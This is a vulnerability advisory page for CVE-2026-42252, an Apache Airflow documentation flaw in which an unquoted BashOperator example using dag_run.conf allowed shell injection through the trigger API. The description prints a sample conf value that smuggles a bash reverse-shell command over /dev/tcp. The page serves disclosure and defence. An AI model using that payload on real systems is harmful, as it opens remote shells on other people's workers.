CVE-2026-42252
Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
At a glance
- Source
- NVD
- EPSS
- EPSS 0.38 % · percentile 32 ()
- State
- PUBLISHED
- Published
- Updated
- Assigner
- apache
- NVD status
- Analyzed
Description
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Weaknesses (CWE)
- CWE-1336 — Improper Neutralization of Special Elements Used in a Template Engine
References
Scores
| Version | Score | Vector | Scored by |
|---|---|---|---|
| CVSS 3.1 | CRITICAL 9.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | CISA-ADP |
| CVSS 3.1 | CRITICAL 9.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | NVD · 134c704f-9b21-4f2e-91b3-4a467353bcc0 (Secondary) |
Advisories
- GHSA-c85c-g9wv-pph2 — Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
- PYSEC-2026-184 — Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command
European references
- ENISA EUVD · EUVD-2026-33591
- GCVE · GCVE-0-2026-42252
Affected configurations (NVD CPE)
cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*≥ 3.0.0 < 3.2.2
Affected products
| Product | Versions |
|---|---|
| Apache Software Foundation · Apache Airflow | affected 3.0.0 < 3.2.2 |
Sources
| Source | Licence |
|---|---|
| CVE List (CVEProject cvelistV5) | CVE Program Terms of Use |
| EPSS (FIRST.org) | FIRST — attribution requested |
| ENISA EUVD | ENISA — reproduction authorised, source acknowledged |
| NVD (NIST) via fkie-cad/nvd-json-data-feeds | Public domain — this product uses data from the NVD API but is not endorsed or certified by the NVD |